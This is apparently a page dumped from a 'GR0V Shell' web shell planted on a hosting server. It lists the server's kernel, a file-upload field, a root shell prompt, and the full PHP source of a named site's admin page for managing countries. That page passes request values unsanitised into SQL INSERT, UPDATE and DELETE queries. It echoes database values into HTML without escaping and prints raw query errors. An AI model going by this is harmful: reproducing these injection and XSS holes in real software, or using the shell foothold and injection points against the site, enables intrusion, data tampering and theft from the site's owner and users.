? GR0V Shell

GR0V shell

Linux in-mum-web921.main-hosting.eu 4.18.0-553.34.1.lve.el8.x86_64 #1 SMP Thu Jan 9 16:30:32 UTC 2025 x86_64

Path : /home/u949514618/domains/drpktiwari.com/public_html/admin/
File Upload :
Current File : /home/u949514618/domains/drpktiwari.com/public_html/admin/country.php

<?php
// Start the session to check if the user is logged in
session_start();

// Check if the user is logged in
if (!isset($_SESSION['user_id'])) {
    // If not logged in, redirect to login page
    header("Location: login.php");
    exit();
}

// If logged in, proceed with the rest of the page
include_once('db.php');

?>
<!DOCTYPE html>


<html
  lang="en"
  class="light-style layout-menu-fixed"
  dir="ltr"
  data-theme="theme-default"
  data-assets-path="../backend/assets/"
  data-template="vertical-menu-template-free"
>
  <head>
    <meta charset="utf-8" />
    <meta
      name="viewport"
      content="width=device-width, initial-scale=1.0, user-scalable=no, minimum-scale=1.0, maximum-scale=1.0"
    />

    <title>Dashboard - Made By Ajay Singh Rathore (+91 9031351333)</title>

    <meta name="description" content="" />

    <!-- Favicon -->
    <link rel="icon" type="image/x-icon" href="../backend/assets/img/brand/favicon.png" />

    <!-- Fonts -->
    <link rel="preconnect" href="https://fonts.googleapis.com" />
    <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin />
    <link
      href="https://fonts.googleapis.com/css2?family=Public+Sans:ital,wght@0,300;0,400;0,500;0,600;0,700;1,300;1,400;1,500;1,600;1,700&display=swap"
      rel="stylesheet"
    />

    <!-- Icons. Uncomment required icon fonts -->
    <link rel="stylesheet" href="../backend/assets/vendor/fonts/boxicons.css" />

    <!-- Core CSS -->
    <link rel="stylesheet" href="../backend/assets/vendor/css/core.css" class="template-customizer-core-css" />
    <link rel="stylesheet" href="../backend/assets/vendor/css/theme-default.css" class="template-customizer-theme-css" />
    <link rel="stylesheet" href="../backend/assets/css/demo.css" />

    <!-- Vendors CSS -->
    <link rel="stylesheet" href="../backend/assets/vendor/libs/perfect-scrollbar/perfect-scrollbar.css" />

    <link rel="stylesheet" href="../backend/assets/vendor/libs/apex-charts/apex-charts.css" />

    <!-- Page CSS -->

    <!-- Helpers -->
    <script src="../backend/assets/vendor/js/helpers.js"></script>

    <!--! Template customizer & Theme config files MUST be included after core stylesheets and helpers.js in the <head> section -->
    <!--? Config:  Mandatory theme config file contain global vars & default theme options, Set your preferred theme option in this file.  -->
    <script src="../backend/assets/js/config.js"></script>
    <script src="https://cdn.jsdelivr.net/npm/sweetalert2@11"></script>
  </head>

  <body>
    <!-- Layout wrapper -->
    <div class="layout-wrapper layout-content-navbar">
      <div class="layout-container">
        <!-- Menu -->

        <?php include_once('include/dash_sidebar.php'); ?>
        <!-- / Menu -->

        <!-- Layout container -->
        <div class="layout-page">
          <!-- Navbar -->

          <nav
            class="layout-navbar container-xxl navbar navbar-expand-xl navbar-detached align-items-center bg-navbar-theme"
            id="layout-navbar"
          >
            <div class="layout-menu-toggle navbar-nav align-items-xl-center me-3 me-xl-0 d-xl-none">
              <a class="nav-item nav-link px-0 me-xl-4" href="javascript:void(0)">
                <i class="bx bx-menu bx-sm"></i>
              </a>
            </div>

            <div class="navbar-nav-right d-flex align-items-center" id="navbar-collapse">
              <!-- Search -->
              <div class="navbar-nav align-items-center">
                <div class="nav-item d-flex align-items-center">
                  <i class="bx bx-search fs-4 lh-0"></i>
                  <input
                    type="text"
                    class="form-control border-0 shadow-none"
                    placeholder="Search..."
                    aria-label="Search..."
                  />
                </div>
              </div>
              <!-- /Search -->

              <ul class="navbar-nav flex-row align-items-center ms-auto">
                <!-- Place this tag where you want the button to render. -->
                <li class="nav-item lh-1 me-3">
                  <a
                    class="github-button"
                    href="../backend/asset/img/brand.logo.png"
                    data-icon="octicon-star"
                    data-size="large"
                    data-show-count="true"
                    aria-label="Star themeselection/sneat-html-admin-template-free on GitHub"
                    >Star</a
                  >
                </li>

                <!-- User -->
                 <?php
                 $ID=$_SESSION['ID'];
                 $member_qry = mysqli_query($conn,"select * from super_login where id=$ID");

                 $mcount = mysqli_num_rows($member_qry);
                 if($mcount>0)

                  {

                    $row = mysqli_fetch_assoc($member_qry);
                  }
                 ?>
                <li class="nav-item navbar-dropdown dropdown-user dropdown">
                  <a class="nav-link dropdown-toggle hide-arrow" href="javascript:void(0);" data-bs-toggle="dropdown">
                    <div class="avatar avatar-online">
                      <img src="../backend/assets/img/avatars/1.png" alt class="w-px-40 h-auto rounded-circle" />
                    </div>
                  </a>
                  <ul class="dropdown-menu dropdown-menu-end">
                    <li>
                      <a class="dropdown-item" href="#">
                        <div class="d-flex">
                          <div class="flex-shrink-0 me-3">
                            <div class="avatar avatar-online">
                              <img src="../backend/assets/img/avatars/1.png" alt class="w-px-40 h-auto rounded-circle" />
                            </div>
                          </div>
                          <div class="flex-grow-1">
                            <span class="fw-semibold d-block"><?php echo $row['email_id']; ?></span>
                            <small class="text-muted">Super Admin</small>
                          </div>
                        </div>
                      </a>
                    </li>
                    <li>
                      <div class="dropdown-divider"></div>
                    </li>
                    <li>
                      <a class="dropdown-item" type="button"
                          class="btn btn-primary"
                          data-bs-toggle="modal"
                          data-bs-target="#exLargeModal">
                        <i class="bx bx-user me-2"></i>
                        <span class="align-middle">My Profile</span>
                      </a>
                    </li>
                    <!-- <li>
                      <a class="dropdown-item" href="#">
                        <i class="bx bx-cog me-2"></i>
                        <span class="align-middle">Settings</span>
                      </a>
                    </li>
                    <li> -->
                      <div class="dropdown-divider"></div>
                    </li>
                    <li>
                      <a class="dropdown-item" href="logout.php">
                        <i class="bx bx-power-off me-2"></i>
                        <span class="align-middle">Log Out</span>
                      </a>
                    </li>
                  </ul>
                </li>
                <!--/ User -->
              </ul>
            </div>
          </nav>

          <!-- / Navbar -->
            <!-- Extra Large Modal -->
                      <div class="modal fade" id="exLargeModal" tabindex="-1" aria-hidden="true">
                        <div class="modal-dialog modal-xl" role="document">
                          <div class="modal-content">
                            <div class="modal-header">
                            <h5 class="modal-title" id="profileModalLabel">Update Profile</h5>
                            <button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="Close"></button>
                            </div>
                            <div class="modal-body">
                              <form id="profileForm">
                              <div class="mb-3">
                                <label for="username" class="form-label">Username</label>
                                <input type="text" class="form-control" id="username" name="username" value="<?php echo $row['username']; ?>" disabled>
                              </div>
                              <div class="mb-3">
                                <label for="email" class="form-label">Email</label>
                                <input type="email" class="form-control" id="email" name="email" value="<?php echo $_SESSION['ID']; ?>" disabled>
                              </div>
                                <?php
                                  $member_qry1 = mysqli_query($conn,"select * from owner_info where super_login=$ID");
                                  $row1 = mysqli_fetch_assoc($member_qry1);
                                ?>
                              <div class="mb-3">
                                <label for="org_name" class="form-label">Organization</label>
                                <input type="text" class="form-control" id="org_name" name="org_name" value="<?php echo $row1['org_name']; ?>">
                              </div>
                              <div class="mb-3">
                                <label for="phone" class="form-label">Phone</label>
                                <input type="text" class="form-control" id="phone" name="phone" value="<?php echo $row1['phone']; ?>">
                              </div>
                              <div class="mb-3">
                                <label for="address" class="form-label">Address</label>
                                <input type="text" class="form-control" id="address" name="address" value="<?php echo $row1['address']; ?>">
                              </div>
                              <div class="mb-3">
                                <label for="state" class="form-label">State</label>
                                <input type="text" class="form-control" id="state" name="state" value="<?php echo $row1['state']; ?>">
                              </div>
                              <div class="mb-3">
                                <label for="zipcode" class="form-label">Zipcode</label>
                                <input type="text" class="form-control" id="zipcode" name="zipcode" value="<?php echo $row1['zipcode']; ?>">
                              </div>
                              <div class="mb-3">
                                <label for="country" class="form-label">Country</label>
                                <input type="text" class="form-control" id="country" name="country" value="India" disabled>
                              </div>
                              <div class="mb-3 text-center">
                                <button type="button" id="updateProfile" class="btn btn-primary">Update Profile</button>
                              </div>
                            </form>
                            </div>
                            <div class="modal-footer">
                              <button type="button" class="btn btn-outline-secondary" data-bs-dismiss="modal">
                                Close
                              </button>
                              <button type="button" class="btn btn-primary">Save changes</button>
                            </div>
                          </div>
                        </div>
                      </div>

                      

          <!-- Content wrapper -->
          <div class="content-wrapper">
            <!-- Content -->
                <?php
                // Handle Insert
                if (isset($_POST['add_country'])) {
                    $country_name = $_POST['country_name'];
                    $query = "INSERT INTO country (country_name) VALUES ('$country_name')";
                    if ($conn->query($query) === TRUE) {
                        echo "<script>
                                Swal.fire('Success', 'Country added successfully!', 'success')
                                .then(() => { window.location.href = 'country.php'; });
                            </script>";
                    } else {
                        echo "Error: " . $query . "<br>" . $conn->error;
                    }
                }

                // Handle Update
                if (isset($_POST['update_country'])) {
                    $id = $_POST['id'];
                    $country_name = $_POST['country_name'];
                    $query = "UPDATE country SET country_name='$country_name' WHERE id=$id";
                    if ($conn->query($query) === TRUE) {
                        echo "<script>
                                Swal.fire('Success', 'Country updated successfully!', 'success')
                                .then(() => { window.location.href = 'country.php'; });
                            </script>";
                    } else {
                        echo "Error: " . $query . "<br>" . $conn->error;
                    }
                }

                // Handle Delete
                if (isset($_GET['delete'])) {
                    $id = $_GET['delete'];
                    $query = "DELETE FROM country WHERE id=$id";
                    if ($conn->query($query) === TRUE) {
                        echo "<script>
                                Swal.fire('Deleted', 'Country deleted successfully!', 'success')
                                .then(() => { window.location.href = 'country.php'; });
                            </script>";
                    } else {
                        echo "Error: " . $query . "<br>" . $conn->error;
                    }
                }
                ?>
            <div class="container-xxl flex-grow-1 container-p-y">
              <h4 class="fw-bold py-3 mb-4"><span class="text-muted fw-light">Country /</span> Section</h4>

                    <!-- Add Country Form -->
                    <form method="POST" class="mb-4">
                        <div class="mb-3">
                            <label for="country_name" class="form-label">Country Name</label>
                            <input type="text" class="form-control" id="country_name" name="country_name" required>
                        </div>
                        <button type="submit" name="add_country" class="btn btn-primary">Add Country</button>
                    </form>

                    <!-- Country List -->
                    <h3>Country List</h3>
                    <table class="table table-bordered">
                        <thead>
                            <tr>
                                <th>ID</th>
                                <th>Country Name</th>
                                <th>Actions</th>
                            </tr>
                        </thead>
                        <tbody>
                            <?php
                            $result = $conn->query("SELECT * FROM country");
                            while ($row = $result->fetch_assoc()) {
                                echo "<tr>
                                        <td>{$row['id']}</td>
                                        <td>{$row['country_name']}</td>
                                        <td>
                                            <button class='btn btn-warning btn-sm' onclick='editCountry({$row['id']}, \"{$row['country_name']}\")'>Edit</button>
                                            <a href='?delete={$row['id']}' class='btn btn-danger btn-sm'>Delete</a>
                                        </td>
                                    </tr>";
                            }
                            ?>
                        </tbody>
                    </table>

                    <div class="modal" id="editModal" tabindex="-1">
                        <div class="modal-dialog">
                            <div class="modal-content">
                                <form method="POST">
                                    <div class="modal-header">
                                        <h5 class="modal-title">Edit Country</h5>
                                        <button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="Close"></button>
                                    </div>
                                    <div class="modal-body">
                                        <input type="hidden" id="edit_id" name="id">
                                        <div class="mb-3">
                                            <label for="edit_country_name" class="form-label">Country Name</label>
                                            <input type="text" class="form-control" id="edit_country_name" name="country_name" required>
                                        </div>
                                    </div>
                                    <div class="modal-footer">
                                        <button type="submit" name="update_country" class="btn btn-success">Update</button>
                                        <button type="button" class="btn btn-secondary" data-bs-dismiss="modal">Close</button>
                                    </div>
                                </form>
                            </div>
                        </div>
                    </div>
              
            </div>
            <!-- / Content -->

            <!-- Footer -->
            <footer class="content-footer footer bg-footer-theme">
              <div class="container-xxl d-flex flex-wrap justify-content-between py-2 flex-md-row flex-column">
                <div class="mb-2 mb-md-0">
                  ©
                  <script>
                    document.write(new Date().getFullYear());
                  </script>
                  , made with ❤️ by
                  <a href="#" target="_blank" class="footer-link fw-bolder">Made By Ajay Singh Rathore (+91 9031351333)</a>
                </div>
                <div>
                  <a href="#" class="footer-link me-4" target="_blank">Privacy Policy</a>
                  <a href="#" target="_blank" class="footer-link me-4">Terms &amp; Condition</a>
                </div>
              </div>
            </footer>
            <!-- / Footer -->

            <div class="content-backdrop fade"></div>
          </div>
          <!-- Content wrapper -->
        </div>
        <!-- / Layout page -->
      </div>

      <!-- Overlay -->
      <div class="layout-overlay layout-menu-toggle"></div>
    </div>
    <!-- / Layout wrapper -->


    <!-- Core JS -->
    <!-- build:js assets/vendor/js/core.js -->
    <script src="../backend/assets/vendor/libs/jquery/jquery.js"></script>
    <script src="../backend/assets/vendor/libs/popper/popper.js"></script>
    <script src="../backend/assets/vendor/js/bootstrap.js"></script>
    <script src="../backend/assets/vendor/libs/perfect-scrollbar/perfect-scrollbar.js"></script>

    <script src="../backend/assets/vendor/js/menu.js"></script>
    <!-- endbuild -->

    <!-- Vendors JS -->
    <script src="../backend/assets/vendor/libs/apex-charts/apexcharts.js"></script>

    <!-- Main JS -->
    <script src="../backend/assets/js/main.js"></script>

    <!-- Page JS -->
    <script src="../backend/assets/js/dashboards-analytics.js"></script>

    <!-- Place this tag in your head or just before your close body tag. -->
    <script async defer src="https://buttons.github.io/buttons.js"></script>
    <script>
                        $(document).ready(function() {
                        // Open the profile modal and fetch data
                        $('#myProfileLink').on('click', function() {
                          $.ajax({
                            url: 'fetch_profile_data.php', // PHP file to fetch user data
                            type: 'GET',
                            success: function(response) {
                              let data = JSON.parse(response);
                              if (data) {
                                // Populate modal fields with data
                                $('#username').val(data.username);
                                $('#email').val(data.email);
                                $('#org_name').val(data.org_name);
                                $('#phone').val(data.phone);
                                $('#address').val(data.address);
                                $('#state').val(data.state);
                                $('#zipcode').val(data.zipcode);
                                $('#country').val(data.country);
                              }
                              $('#profileModal').modal('show'); // Show the modal
                            }
                          });
                        });
                        });
                      </script>
                      <script>
                        $('#updateProfile').on('click', function() {
                            let orgName = $('#org_name').val();
                            let phone = $('#phone').val();
                            let address = $('#address').val();
                            let state = $('#state').val();
                            let zipcode = $('#zipcode').val();

                            $.ajax({
                                url: 'update_profile.php', // PHP file to update user data
                                type: 'POST',
                                data: {
                                    org_name: orgName,
                                    phone: phone,
                                    address: address,
                                    state: state,
                                    zipcode: zipcode
                                },
                                success: function(response) {
                                    if (response == 'success') {
                                        Swal.fire({
                                            title: 'Success',
                                            text: 'Your profile has been updated.',
                                            icon: 'success',
                                            confirmButtonText: 'OK'
                                        });
                                        $('#exLargeModal').modal('hide'); // Close the modal
                                    } else {
                                        Swal.fire({
                                            title: 'Error',
                                            text: 'There was an issue updating your profile.',
                                            icon: 'error',
                                            confirmButtonText: 'OK'
                                        });
                                    }
                                }
                            });
                        });
                      </script>
                      <script>
        // Open Edit Modal
        function editCountry(id, name) {
            document.getElementById('edit_id').value = id;
            document.getElementById('edit_country_name').value = name;
            new bootstrap.Modal(document.getElementById('editModal')).show();
        }
    </script>
  </body>
</html>

T1KUS90T
  root-grov@89.117.188.241:~$